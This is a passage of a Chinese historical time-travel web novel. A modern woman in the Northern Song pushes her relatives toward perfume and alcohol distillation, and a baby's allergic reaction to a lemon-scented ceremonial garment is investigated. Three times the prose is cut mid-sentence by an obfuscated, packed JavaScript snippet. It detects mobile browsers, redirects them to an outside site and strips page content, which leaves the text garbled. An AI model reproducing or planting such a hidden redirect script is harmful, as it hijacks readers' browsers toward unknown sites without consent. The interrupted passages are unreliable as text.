看到妻妹来，朱恒忙起身让座，口中连声道谢。此次将滞销香料售予妻家，令朱家资金得以周转，让他也是松了口气，面上终于重现笑意，昔日清癯之态亦稍有恢复。 但是吴悦对朱家未来的生意前景仍存隐忧——皇家专供渠道被断，背后更有不明势力眈眈相向。这次只是这次险胜过关，朱恒必须有新的业务可以拯救朱家香料售卖的疲软之势。 "此前与姐夫谈及的香丸、香饼可有进展？" 他们二人聊过寻找新的市场，也就是将制作一些香丸或者香饼将其卖到风月场所，营伎需要随时赴酒楼、公宴或军营表演，因此需要便于携带且能快速熏染衣物的香品，便携性就是此类商品的核心需求。 朱恒摇头，他是做了一些香丸和香饼。虽然香丸可以放在透气的香囊里随身携带，通过体温或自然挥发散发香气。但是想要香气醇厚，还是要放在手炉中点燃使用。香饼也是如此，不能满足便携且速熏的需求。 吴悦看着案头蒸腾热气的茶壶，壶嘴里冒出缕缕氤氲水汽问道："可否用蒸煮法收集水汽，然后萃取香水？" 朱桓听了若有所思，反问道："小姨子所言的可是那蔷薇水？" 这反而把吴悦给问住了，难道北宋现在就已经有了这种早期香水？ 她只知道香水其实是炼金术的副产品，早在九世纪，阿拉伯学者就在《香水化学与蒸馏之书》中系统记载了蒸馏工艺，包括如何使用铜制蒸馏器从花瓣中提取精华水的方法。 经过朱恒解释，她才知道原来早在南梁时，就有阿拉伯商人通过越南占城朝贡名义来此，向中国进贡蔷薇水。 欧阳修在编纂的《新五代史》中也记载了这段历史：“占城，在西南海上……显德五年，其国王因德漫遣使者莆诃散来，贡猛火油八十四瓶、蔷薇水十五瓶，其表以贝多叶书之，以香木为函……蔷薇水，云得自西域，以洒衣，虽敝而香不灭。” 而北宋时期，通过泉州、广州等港口与阿拉伯帝国（大食）及东南亚中转站（如占城、三佛齐）的贸易更加频繁。阿拉伯商人将蔷薇水、香料、琉璃瓶等商品运至中国，换取丝绸、瓷器等物。 “所以说其实我们现在有蔷薇水，也有玻璃瓶，但是都藏于禁中？”吴悦愕然，这种工艺束之高阁，有何意义？为什么不拿出来让民间研究。也省得耗费巨资去和大食商人购买。 其实，或许她有所不知，蒸馏技术其实此时已见端倪。 南宋张世南《游宦纪闻》就记载了蒸馏器的使用，但主要用于提取花露或药物。元代由于北方游牧民族生活在寒冷地区，需高浓度酒御寒，已经将蒸馏酒引入中原。 但是还是那句话，蛮夷之物不被中原士人阶层所喜。并且由于粮食产量有限，蒸馏酒需消耗更多粮食。是以历史上并未出现以香水替代香料、高度酒取代低度发酵酒的变革。这就导致她一直以为直到近现代，中国才引进了蒸馏技术。 “宫外也有少量流出，但是都是官家赏赐给两宫太后母家、曹皇后母家及张淑媛母家之物。不过我们朱家是皇商，是以我曾随父亲研究过宫藏蔷薇水。也私下尝试过蒸馏，但是香气寡淡，很快就挥发掉了。”朱恒曾经试过以素馨、茉莉等替代原料，然而终不及进贡蔷薇水馥郁持久。 吴悦恍然大悟，因为大食所贡的蔷薇水采用的是突厥蔷薇（大马士革玫瑰），其品种本就香气浓烈，这就是原料差异所致。 “不如试试味道浓郁的，并且产量高、易获取的植物，比如艾草？”蒸馏工艺的重点就是“屡采屡蒸”，才能确保香气浓郁。 艾草作为常用药材在北宋广泛分布，官方编纂的《太平圣惠方》（992年）收录大量以艾草为主药的方剂，用于治疗风寒湿痹、妇科疾病（如安胎止血）、疮疡等症。其实艾草是中国本土的植物，早在《诗经》里就有描述"彼采艾兮"的句子，战国时期孟子也提到"七年之病，求三年之艾"，可见当时就已经习惯将艾草入药。 而在后世，艾草还在河南大范围种植，供应全国85%的原料需求，艾灸治疗的用具、艾草主题美食到处可见。她还常备艾草精油，用于缓解痘痘、红肿及过敏症状。 朱恒颔首沉吟，亦有所思。他领悟妻妹的意思，需要选择花朵密集、香气浓烈或枝叶易得的植物，比如桂花、柑橘皮。而他之前所购的进口香料（如乳香、沉香）虽然香味浓郁，但是成本高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15632031|172133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昂，相较之下，还是本土植物更适合尝试蒸馏提取。 见成功将大姐夫引向正道，吴悦暗自松了口气。 其实她真正想要的并非是香水蒸馏，而是高度酒，或者说能在战场和日常生活中派上用场的医用酒精。早在公元8世纪，阿拉伯炼金术士就通过蒸馏葡萄酒提取出纯酒精，十字军东征期间（11-13世纪），阿拉伯军队已将酒精用于伤口消毒。 那群老外能做的，我们为什么做不得？□□都能被用手工计算出来，五纳米的芯片的突破都能实现。小小蒸馏器何足道哉？只不过是因为中国本土还是更倾向于用草药来治疗伤势，而不重视高度酒精的重要性而已。 她又将目光投向圆桌边的杜充——这位正妙语连珠逗得二姐开怀大笑的二姐夫。只要大姐夫攻克蒸馏器技术，她立刻就用它来制取高浓度酒精，再找机会让二姐夫看到功效。所有人都是她实现目的的打工仔，无一例外！ “郎君，吴老爷和吴少爷到了。"一个小厮匆匆入内禀报。 吴夏刚刚便去父亲供职的衙门候着，待其下值便陪同吴父一同前来。 朱恒闻得岳父与小舅子来了，就立刻让妻子率厅内眷属可以前去前厅准备参加今日的仪礼了。 原来吴父今日轮值，直至申时末方得脱身，匆匆赶来。因着要等这位外家，仪礼不得不顺延了小半个时辰。 待吴悦随着母亲，两位姐姐和祖母走入前厅，发现厅内早已经宾客盈门。 朱恒先将吴王氏与岳父岳母请至上座，方偕妻子自后堂抱出啼哭不止的朱芎，其父朱叙与母亲秦大娘子紧随其后。 朱叙夫妇入厅后，先与堂上的亲家见礼，复向满堂宾朋一一行礼致歉，称不知孙儿何故啼哭不止...众人纷纷夸赞婴儿声如洪钟，精力十足，足见康健。秦大娘子闻之甚喜，挺胸而立，仿佛这赞誉是在夸她养育得法。 杜充倒是双眉微蹙，这婴儿啼哭短促，且能看到襁褓内异常蠕动，与正常的与饥饿或困倦的“哼哼声”迥异。乳母似也发现不对，急着上前想要安抚，却无计可施。 杜充很想掀开襁褓察看婴儿的脸色和苔舌，无奈作为医者，他有着对百草气息异常敏锐的鼻子，实在难以忍受室内混杂的香料味，因此只能厌恶的蹙鼻待在外围，吴绮娘也很知道丈夫的毛病，也就陪同一起落在后排。 而吴悦，她很喜欢近距离观看这种传统仪式，毕竟在这后世可是只能靠文字揣想。但是此刻也被熏得几欲窒息，不止头开始发晕，胸口觉得也有些闷。只能扯着兄长的袖子，靠他扶着才能站立。 尚未入四月的天气仍带寒意，紧闭的窗棂与房内四周既为熏染吉庆又兼作取暖的鎏金香炉将空气都锁在室内。生平头一回置身这般逼仄空间，她暗自叫苦不迭。在这种密闭环境中，香料燃烧会挥发消耗氧气，二氧化碳浓度过高，会使人感到困倦和呼吸困难。 见只有她们四人被排挤在后面，于是她也不动声色地慢慢移至窗边，趁人不备悄然推开半扇窗。待凉风吹入那刹那，顿觉胸臆舒展，心悸之感渐消。 40. 第 40 章 四人只能听到前堂不断传来"剪胎发""佩长命锁"的司仪唱和声，与众人的欢呼声交织成一片。 终于到了请出百家衣这环节，忽闻秦大娘子尖声道："此衣乃由朱家各香料铺管事、原料商及族中长辈，以珍藏特色香料配方熏制而成。此乃我朱家香料行传承之象征..."她犹自喋喋不休地夸耀衣上沾染的珍奇香料，甚至提及外来稀罕物事，意欲在众人面前彰显朱家在香料行内的地位。 却忽听得吴丽娘一声惊呼，朱恒亦是如此，前排人群顿时骚动起来。后排宾客纷纷踮足张望，想要知道究竟发生何事。 吴悦也听到自己爹娘和祖母的惊呼，而原本作为背景音的婴儿啼哭戛然而止。 杜充再不迟疑，拨开人群向前急冲。吴绮娘紧随其后，大呼"医官在此"。 吴悦也反应过来，和哥哥吴夏同声高呼拥着杜充挤向前面。刘耘娘也突然想起来，大喊着二女婿的名字。 吴父身高目明，瞥见艰难前行的杜充，当即大步上前，以蒲扇般的手掌拨开前方围观人群，将四人护至摇车旁，复张开双臂阻挡着想要近前的好事者。 吴悦踮着脚看了过去，只见朱芎的嘴唇、耳垂等部位呈青紫色，发出急促的喘气。 杜充发觉婴儿呼吸困难，头也不回的喝道让所有人都出去，并将窗户都打开。 北宋现在虽然没有缺氧的概念，但是医者已经识别出呼吸困难、青紫等症状与“肺气壅塞”“气血瘀滞”有关，需要开窍或者补气之法救治。 吴父闻言虎目圆睁，暴喝驱赶闲人，吴夏也立刻动手将室内所有的窗户全部打开。朱叙终于从怔忡中醒转，温言劝请亲朋移驾侧厅稍候。 但是还有一些好事者滞留不去，探头探脑想要张望究竟。 吴丽娘开始哭泣，朱恒揽住妻子的肩头轻拍安抚，然而也是双目圆睁，额间青筋暴起，死死凝视着躺在摇床毫无声息的儿子。 朱涴妤似是察觉弟弟的异样，乖乖伏在曾外祖母怀中，不复往日喧闹。 待人群散尽，轩窗洞开通风，婴儿面色渐复血色，而啼哭声又起。 杜充急忙扯开裹着的百家衣。 这件衣物竟如成人中衣般宽大。只见皮肤接触的部分，尽皆红肿，轻抚之下皮屑簌簌而落。除颈部以上未接触百家衣处，其余皮肤皆呈赤红色。 这是过敏！吴悦倒是一看就明白，后世有对芒果、桃子过敏，还有花生酱、芝麻，甚至还有对紫外线过敏的。她自己倒是对海里的海鲜过敏，内陆孩子吃的都是水库养殖的鱼和虾。因此当她去深圳工作时，被同事拉着去吃了海鲜，嘴巴肿的像个香肠，还被迫请假了好几天，之后就再也没有吃过深海捕捞的鱼和海虾了。 她正寻思怎么提示二姐夫，只见杜充已喃喃开口：“漆有毒，人有禀性畏漆，但见漆便中其毒……亦有性自耐者，终日烧煮，竟不为害也。”此语出自隋朝《诸病源候论》，所述的就是一种病症，接触漆树后引发的皮肤红肿水疱之症。 吴丽娘听到"毒"这个字，如同被激怒的母狮，厉声质问道："何毒？谁人下毒？可是下在这百家衣里？" 她目眦欲裂瞪视婆母，这百家宴婆母完全不让她插手，平素更将她母子隔绝如路人。说什么怕她年轻照顾不周，强行将孩子抱走，那孩子为什么照顾成这样？ 秦大娘子被儿媳逼视得踉跄后退，颤声道："我委实不知……" 吴悦急步上前，用力攥住吴丽娘手腕，小声地提醒：“阿姐息怒，休要因为一时情急失言，此刻还有姐夫与伯父在场呢。” 她觉得秦氏虽强势，断不至于愚蠢到明目张胆残害亲孙，此事蹊跷或者就在香料上头。后世打个针都要做皮试，以防过敏。家中有猫狗的，连蚊香都不敢点。怀孕的女性，甚至香水都不会喷。但是当前北宋人可没这个讲究。 吴丽娘也自觉失言，泪眼摩挲的瞥向摇车内的稚子，复又将视线转向站在原地有些手足无措的丈夫，复又悲从中来。 “当务之急是净洗婴孩肌肤，除却身上所染之物。”杜充冷眼旁观眼前这团乱麻，作为医者习性他已经习惯处变不惊，脑海中疾速寻思医书可有记载治疗方法。 朱恒不敢去看踉跄扶着椅子的母亲和趴在摇床边欲抚自己幼子的妻子，厉喝仆人速速跟着他前去厨房烧水，就逃避式的大步走走出大厅。 朱叙也拽着老妻强行出了厅外，声称"老夫要带老妻去侧厅向亲友赔罪，将主持大局的差事推给亲家公与亲家母"，拖着失魂落魄的秦氏扬长而去。 余下吴家众人皆缄默不语。 吴绮娘冷笑一声，面上尽是不屑，轻拍大姐后背温言劝慰。 吴王氏重重拍案，欲言又止终化作一声长叹。女儿家的命数不皆如此么？娘家不显达的，连个公道都讨不得，唯有忍气吞声的份儿。 刘耘娘也只能暗叹，这还不如嫁个同样的武将家庭，起码还可以一言不合打过去。 剩下两名男儿面色阴沉，吴父抚摸腰间的佩刀，眯眼狠戾地盯着堂前"香林世泽"匾额，一言不发。而吴夏暗自立誓一定要考中进士。 这无声的轻蔑和无视，直戳他们无能为力的软肋，血淋淋地揭开武官女难嫁的伤疤。 --------------------------------------------------- 古代就是一个阶级分明的社会。 士族联姻讲究门第出身，商贾也想娶寒门士族之女，不然就是联姻同阶层的商贾。 要知道这些"五姓七望"们自视甚高，纵使皇室联姻他们都不干。也是科举制兴起后，寒门官员之女的行情才好了起来，被众多士族以及皇家选为婚姻的备选。 宋仁宗的后宫，唯有温成张皇后生父张尧封为七品文官且进士出身，实在让人不怀疑张氏受宠，一方面除了这张氏确实美貌，另一方面就是因为这可是他后宫唯一的文官之女。 曹皇后之父曹彬是从一品武官，苗贵妃的父亲也仅仅是七品武官。剩下的高阶贵妃，如周贵妃父亲为从四品武官，董淑妃父亲为正五品武官。还有一群平民出身只因为美貌而入宫的妃子。竟再也没有一个文官的女儿，也不知道宋仁宗看没看出来，士大夫集团对待与皇室联姻的微妙态度。 毕竟流水的皇帝，打铁的世家。仁宗朝廷上的大半官员，先祖都可以追踪到后唐，甚至还有中唐、晚唐时期的官员，而他们赵家，还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15643717|172133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知道啥时间就被人夺了江山，成了阶下囚。试想那后主李煜，不就是如此吗？ 这群士大夫并不愿意送女儿入宫争夺这缥缈的宠爱，他们以"清流"自矜，视与皇室联姻为玷辱门楣之举。秉持"士大夫精神"者，皆以科举取士为正途，认为外戚封爵或授官乃"紊乱朝纲、淆乱名器"之举，甚至形成"非进士及第者不得美官"的潜规则。 因此如果兄长真的能蟾宫折桂，对她的助益自不待言。但是也不好让人困在东京城里闭门苦读，专攻科举，这样只能高分低能。 石介已经得知要被外放到濮州（今山东鄄城县北）任通判。在他的安排下，吴夏已经前去太学旁听。但是明年，范仲淹将被贬谪邓州，在那里建立花洲书院，并在此写下《岳阳楼记》，发出"先天下之忧而忧，后天下之乐而乐"的千古浩叹。她觉得反正吴夏也年轻，应该出去多长长见识，认识一些好友。 范仲淹那被称为“布衣宰相”的儿子范纯仁；写下“为天地立心，为生民立命，为往圣继绝学，为万世开太平”无论在男频还是女频都苏的没边了的张载；以及举荐王安石后期与司马光共同执政的韩维都将在花洲书院就读，这可是难得的同窗之谊。 同榜、同乡、同窗关系，是古代传统社会中极为重要的人际关系纽带，其影响力远超普通友谊。 同窗，指共同研习的人，因长期共处学习，情谊往往逾于常伦。 同乡则因地域观念浓厚，形成互助网络，如明清时期遍布全国的会馆，既为旅人提供栖息之所，更承担联络乡谊、扶持商帮、协理讼事等功能，徽商、晋商之崛起即得益于此。 同榜，互称同年之士，此等交谊在官僚体系中尤为关键，常形成政治同盟。 这三者并非简单的“拉帮结派”，而是古代社会资源分配的重要机制，既推动了人才流动（如同乡会馆助寒门士子赴考），也导致了权力垄断（如明代“浙党”“齐党”之争）。 虽然觉得这个圈子比较恶臭，但是无论如何，打不过就加入。她还是想把吴夏往这个圈子里塞，既能获取资源，也能掌握核心情报，而且还能间接的让她也知道密辛，要知道往往内部崩解才是最致命的打击。 在将朱家宅邸彻底搜查后，确认下毒的可能性已基本排除。 众人的关注点重新集中在那百家衣上。 杜充秉持钻研精神，将那件成人尺寸的百家衣按缝制纹路拆解重组，亲自试穿检验，未发现异常。又在吴悦的要求下，也进行了接触实验。 按她自己的说法是：这个衣服仆从缝制，再由乳母丫鬟给幼儿穿戴时，经手者均未出现不良反应。由此推断，这应是个体体质差异导致的不同反应。就像‘漆有毒，人有禀性畏漆，但见漆便中其毒...亦有性自耐者，终日烧煮，竟不为害’解释的那样，有天然耐受力的人不会被其所害。 其次，她和小外甥有血缘关系，后世医学上称为特应性遗传倾向，即某些过敏体质可能通过基因传递给后代，虽然北宋还没有这个术语，但是相似的概念已经存在。因此杜充也赞同小姨子的话，认为她也有可能和小外甥一样对某些成分过敏。知道自身不耐受的成分后，就可以主动规避，这反而是件好事。 41. 第 41 章 杜充特意向岳母、妻子等人解释了一番，这在古代也被称为"先天禀赋"。 《黄帝内经》就有"禀赋"理论，认为某些疾病，如消渴、痿症与父母体质密切相关。 虽然宫廷诊籍管理严格，但是作为现在首屈一指的大方脉教授，杜研参与过内部针对皇帝的会诊。杜充也了解一些，从族叔的医案记载可以看出，宋太祖赵匡胤、太宗赵光义、真宗赵恒均呈现肥胖体型，且有嗜酒史，晚年都曾出现出现手舞足蹈、口吐涎水、胡言乱语等症状。 他还透露，医官们也在在研究李唐皇室‘风疾''（表现为中风偏瘫、失语失明等症），与赵氏皇族的症状具有相似性。 这题如果问吴悦，她会回答。 其实就是李唐和赵氏皇室可能携带原发性高血压相关基因，叠加高热量饮食（宫廷膳食以肥甘厚味为主），导致动脉硬化进程加速，最终引发病变。 众人被杜充和吴悦两人的论述说服，也纷纷上前接触百家衣。 然而全员试穿后均无异常反应，刘耘娘暗自松了口气，她生怕是自己家这边带有这什劳子禀赋。 当杜充带着百家衣前往朱家进行针对性测试时，却遭遇秦大娘子的激烈反对。 这位大娘子坚决拒绝，认为毫无理由质疑百家衣，岂不是寒了香料铺管事、原料商及族中长辈的心？她拽着朱叙哭诉此举将损害家族声誉。 朱恒不得不出面解释："吴家已经做过试验了，这只不过是在尝试对什么成分不耐受。"他特意也将《黄帝内经》禀赋理论和耐受与否和家族遗传解释了一番。 秦大娘子对救了金孙性命的杜充很是信服，尤其是还是大名鼎鼎医圣的传人，最终勉强同意配合测试。 测试进行到一半时，令人意想不到的状况出现了，秦大娘子的皮肤泛起和朱芎一样的红疹，但明显轻微很多。 杜充既震惊又兴奋，立即将秦大娘子请到阳光下仔细检视，确认与百日宴时的症状一致，只是程度较轻。 他推测："新生儿皮肤娇嫩，因此更加明显。而衣物经过多日存放，香料成分可能有所挥发，导致大娘子反应减弱。" 又拿着这片布料给家中其他人试了试，发现儿子朱恒和孙女朱涴妤也有类似反应，而吴丽娘则毫无异样。 这一发现让杜充断定："这应该是秦大娘子将自身的体质传给了儿子和孙辈，这在医学里也算正常。" 朱叙凑近布料细嗅，神情困惑："这气味虽陌生，却隐约有橘皮的影子。"作为执掌百年香料世家的家主，他自幼遍尝百香，却无法准确辨识这种香气，只能推测，"或许是某种海外传入的香料？" 朱恒也靠近闻了闻，作为下一代家主，他有着不输给父亲的敏锐嗅觉，犹豫片刻后说："似乎是枸橼，但又有些不像。" 枸橼在东汉时期已有记载，如《异物志》描述其"似橘，皮有香，味不美"。 秦大娘子急忙拦住儿子，劝他不要再继续尝试："这些布料来历我都留有底子，到时候直接找人询问便知，你可莫再碰了。" 经查证，此块布料来自广南东路广州的一家香料分店。这家店铺承接着收购经广州港来的外邦香料，店铺的管事是朱叙同族的族弟。 等了两个月，广州方面终于传来回信。信中解释道，此物是今年从印度收购的"nimbu"，译为柠檬。这种水果在印度被视为神圣之物，多用于宗教仪式和医药用途。 【柠檬野生种最早被发现在印度西南部，阿拉伯商人在十世纪前后将其引入地中海沿岸。至十五世纪欧洲殖民扩张时期，柠檬才传播到了四大洲。】 收到回复后，众人皆松了口气。朱叙立即传令："既然是外来品种，今后不再进货就好。" 吴悦却与二姐夫杜充嘀嘀咕咕，低声建议他应当将此事记录在医案中。 《神农本草经》提出“十八反十九畏”，强调药物配伍可能产生毒性。某些本无害的物质对特定人群的毒性反应，也应作为特殊案例记载，以便后世医者参考。 杜充认为小姨子说得有理，此后白天在太医局上课，夜晚便伏案编纂《药物相恶录》。 这让吴绮娘顿时有些百无聊赖，天天待在娘家，与小妹妹一起厮混。 没错，牙人找到了一户出租的二进制宅院，就在吴宅的斜后面，两家共享同一道后墙。 去参观这栋宅院时，吴悦还惊讶地发现，那只常来的三花猫竟是原主人所养，如今被遗弃在了院中。 有时候太晚了，吴绮娘不想从娘家的巷子绕行一圈回自家，干脆在两院后墙间架起木梯，方便她夜晚爬墙回家。 而吴悦，也因为石介赴任，变成了辍学儿童，只能蹭兄长的笔记。每晚拿到新的课业笔记，次日上午研习功课，午后便无所事事。 因此就开始和二姐一起捣鼓起新的食谱。 吴绮娘虽不善烹饪，却拥有敏锐的味觉，尤其擅长品鉴甜味。这下杜充下达的甜品禁令也对她无用了，这可是协助娘家拓展生意的正当原因。 刚过去不久的端午节，在她的参与下，推出了豆沙、蜜枣、松仁、栗子等多种口味的甜粽，广受好评。 吴悦也试图将咸肉粽引入市场（咸粽普及始于南宋），又计划制作《齐民要术-灌肠法》中记载的用动物肠衣做的香肠。但考虑到此时正值仲夏，考虑到香肠需腊月低温保存，最终仅试制了咸蛋黄粽和纯肉粽。 咸鸭蛋作为端午"五黄"（黄瓜、黄鱼、黄鳝、咸鸭蛋、雄黄酒）之一，与粽子同食本就是传统习俗，将其嵌入粽心的创新做法显得别出心裁，让她们吴氏又出了趟风头。现在东京城的人，隔三差五便要光顾她家的店铺，期待新品问世。 ------------------------------------------- 今日大暑节气，烈日炎炎。刘耘娘让人去外面买了些冰面，一家人正准备用膳时，突然见大女儿吴丽娘登门。 吴绮娘脾气比较急，见状脱口而出："姐，莫不是那老刁婆又为难你了？" 时值正午，酷暑难耐，谁家这个点串门啊。 吴丽娘提着一个食盒，笑意连连的否认，“家中的荔枝吃不完，特意给你们送来。” 这荔枝是朱恒在福建的商铺随香料船运一起抵达京城的，他特意预留了不少佳品，让妻子带给娘家。 "而且我那婆婆发现这过敏体质遗传自她，现在半句话都不敢多说，生怕被公公怪罪她断送了香料生意的继承 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15650196|172133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。"吴丽娘倒是对能否继承生意不太在意，相较之下更忧心孩子的健康。 吴悦与吴绮娘接过食盒，连原本吵着要吃的冰面也置之一旁，只顾埋头大啖荔枝。听到此处，吴悦抬头问道："姐姐可让乳母走了？” 原来朱叙强行将朱芎抱回吴丽娘房内，并明令秦大娘子不得再过问孙儿事宜，乳母便随他们夫妇同住。 "这几日便要启程了。妹妹不是说芎儿快满八个月，该断乳了吗？" 吴丽娘其实是有些迟疑的，毕竟东京城的显贵之家，哪家不是母乳喂养至两三岁，甚至有五六岁仍未断奶的。但小妹却坚持不可只单纯食用母乳。甚至还拉了杜充来背书。小儿喂养应该四五个月纯母乳，六个月后添加稀粥，辅以牛乳或羊乳。一周岁前禁食荤腥生冷，两三岁可少量尝试，五岁后方可正常饮食。 这其实也是儿科专著《小儿药证直诀》的记载："婴儿半年以后宜煎陈米粥取粥面时时与之，十月以后渐与稠粥稀饭。"《寿世保元》亦强调"小儿四五个月，只与乳吃"，因此可知八至十二个月为传统断乳时机。 “放心吧，你看我和涴涴，喝了羊乳后是不是愈发健壮？"吴悦边说边展示自己的臂力。 "我每日晨起绕院跑步，还跟着路伯练习马步，他说我做的比哥哥当时还好呢。”这番现身说法终于让吴丽娘摇摆不定的心坚定起来。回想女儿朱涴妤确实日见强健，近日竟能攀爬院内假山，甚至从半人高处跃下也毫发无伤。 "而且你这是行善积德，让乳母返乡照顾亲生骨肉。"吴悦继续劝道。 现在时兴雇佣乳母，上层贵妇为保持体态、参与社交，视哺乳为‘粗活’，时人也认为产后哺乳会损耗气血。且哺乳期女性难以短期内再次受孕，那些急于通过生育男婴巩固地位的女子当然避之不及。因此雇佣乳母代劳不仅可避免哺乳对身体的影响，还能缩短生育间隔。连最受宠的张淑媛都不例外，四年生三，只为了拼一拼皇子。 民间也出现“乳母经纪”行业，专门培训与贩卖乳母，形成产业链。这些乳母的薪酬远超普通工匠，导致很多贫困女性为牟利故意怀孕产子后弃养，只为获取哺乳期的高额收入。 宋代皇室乳母所获礼遇堪称典范，极大提升了行业吸引力。 宋高宗为乳母韦氏辍朝五日，追封"福寿国夫人"，赐帛三千匹、钱万缗治丧。宋真宗更是以庶母之礼为亡故乳母服缌麻丧。宋仁宗将乳母之女苗氏纳入后宫，封为贵妃，育有雍王赵昕、福康公主。仁宗宠妃张淑媛的乳母贾氏，因张氏得宠被朝臣尊称为"婆婆"，可见乳母身份在后宫的特殊地位。 部分乳母凭借性感身材与姣好相貌吸引男主人，其身份常与妾婢混淆，甚至因哺乳之恩获得更高地位。 她倒不是担忧姐夫与乳母有何私情，男人想出轨，你把他拴起来都没用。况且这朱乳母和朱恒是堂叔与表侄女的同族关系，基于古代这种严格的伦理约束，她从未怀疑二人会有逾越之举。劝姐姐把乳母送走，也只是因为不忍一个幼儿因为没有母亲照顾而早逝。 “生子多不举，盖为乳哺不给，故忍而弃之。”尤其是现在重男轻女的社会现实下，对于儿子还会想点办法送人喂养，但是如果是女婴，只会舍弃让其夭折。 42. 第 42 章 “别吃了！” 看到食盒一下子就空了一半，刘耘娘立刻抬手打这两个馋嘴的丫头。 先瞪了吴绮娘一眼，没好气地骂道："你都嫁人了怎么还这么贪吃，这去了夫家也在长辈面前如此行事，岂不是让人家笑话我们教女不严。" 又看向自己的小女儿，刚也想张口训斥，又想起最近她为了端午节争得头彩，日日夜夜待在闷热的厨房里研究新品，衣衫都湿透了几件，话就生生咽下了，最后只能讪讪的说："快吃饭，剩下的给你爹爹和兄长留点。" 吴丽娘也接过一小碗冰面，吃了两口，觉得太凉，随即又放下。 冰面其实就是将煮熟的面条用井水或冰水浸凉，类似今日凉面。配着黄瓜丝、豆芽等时蔬和鸡丝、肉丝，再加以芝麻酱、蒜泥、醋、盐等调制为自己喜欢的口味。 青枣见状赶紧把面端走，准备给她煮粥。 “别忙活了"，吴丽娘喊住青枣，说："我坐坐就走，就不吃饭了，回家陪着我那小子吃几口就行。"然后便施施然地离开了。 吃饱饭的吴悦躺在前厅的摇椅上摇摇晃晃地消食，旁边躺着姿势与她相同的吴绮娘。 她突然想起前几日让刘耘娘安置在城外庄子中的毕昇，立刻从摇椅上坐起来，向内院跑去。 毕昇是在几天前突然出现在她家门口的，当时同行的还有他的妻子和四个儿子。他们手中拿着石介托杭州一个乡绅好友代为寻找的信，信中还附有吴悦在东京的住址，告知他们可直接前往此处。 刘耘娘将毕昇一家安置在城外新买的庄子里。 这座小型庄园占地不到40亩，约合三个足球场大小，位于东京城外新宋门稍远处，原主人是吴温的同袍戴老爷子。这位同袍老爷子的事业运比吴老爷子好，一直在军中任职，因追随太宗有功，获赐不少田产财物。 无奈戴家独子不争气，将东京城内的宅院悉数变卖，只为每日流连秦楼楚馆，一掷千金。前妻被他气死后，又声称要续弦，相中一位官家小姐。其父虽是个九品末流小官，却索要高额彩礼。 戴家老夫妻想着娶个知书达理的儿媳严加管束，或许能让儿子洗心革面，便将多年积蓄交于儿子，却特意留下城外的庄园。这座庄子是他瞒着儿子留的养老之地，长期未加修缮，也为的是免于暴露产业。 这第二个儿媳为他诞下孙子后，与戴家独子确实过了段琴瑟相和的日子，但是由于此子死性不改，嫌弃家中幼子吵闹，又天天和一群狐朋狗友去吃喝嫖赌，儿媳屡劝无用，只能愤然与他和离，抛下幼子再嫁去了。戴家独子没过多久，又娶第三任妻子，嫌弃前妻之子碍事，将孩子丢给父母。 戴氏老夫妇此时对儿子彻底失望，在与他断绝关系后，打算变卖庄园，携幼孙返乡定居。 恰巧吴悦提议刘耘娘购置庄园，刘耘娘与吴王氏、路伯商议后，本来想请公公的同袍戴老爷子帮忙物色，不想他正欲出售自己这个小庄园，双方一拍即合。戴老爷子也急着卖了庄子返乡，再也不想看到那不肖子，因此两家人迅速在官府完成了房契过户手续。 不过，这庄园她还没去过呢，此前她就想前往查看。母亲刘耘娘却说庄子久未修缮，有不少屋舍倒塌，园内又杂草丛生，家具等物多有破损，需重新购置。更何况耕地亦荒废多时，也需要加固围墙；庄园内还有野狗坐窝，需要雇佣工匠平整园林景观，清理池塘淤泥，让她不要去碍事。 听闻提及假山花园等设施，吴悦明确表示不需要。她只想要耕地并规划一片经济作物种植区，若能增设两座手工工坊，就再好不过了。至于池塘，也主张填平用于耕种，并且也将园林中的无用假山则全部拆了，改建居住用房。 虽然刘耘娘觉得女儿要求实在有些多，但秉持实用主义的她也表示赞同。 在老家的宅院便是如此，哪有什么园林和池塘，还不如把空地拿出来种点萝卜呢。她将杨氏与大丫一家，以及新来的毕昇一家分别安置在对角的院落。还有几个街上的小乞儿，就是那几个给吴悦通风报信要来给那些嘴臭的酒楼老板扔羊粪的，也被安排了过去。让他们在庄园门口的门房居住，负责看门护卫，承担除草清藤等杂役工作。 而路伯这段时间一直驻守庄园，监督工匠修缮房屋，督促木匠打制家具，致力于将庄子整治得初具规模，尽快实现经济自足。 刘耘娘挑眉道："我还以为你早把那家人抛到脑后了呢。" 吴悦强行为自己找借口："这不是天太热，整日昏昏沉沉的，一来二去就忘了嘛。" "放心，我让路伯照拂好那家人。既是你老师托付的事，自然不能出纰漏。" 刘耘娘以为这是石介交代的任务，却不知这是她女儿自己想要的人。 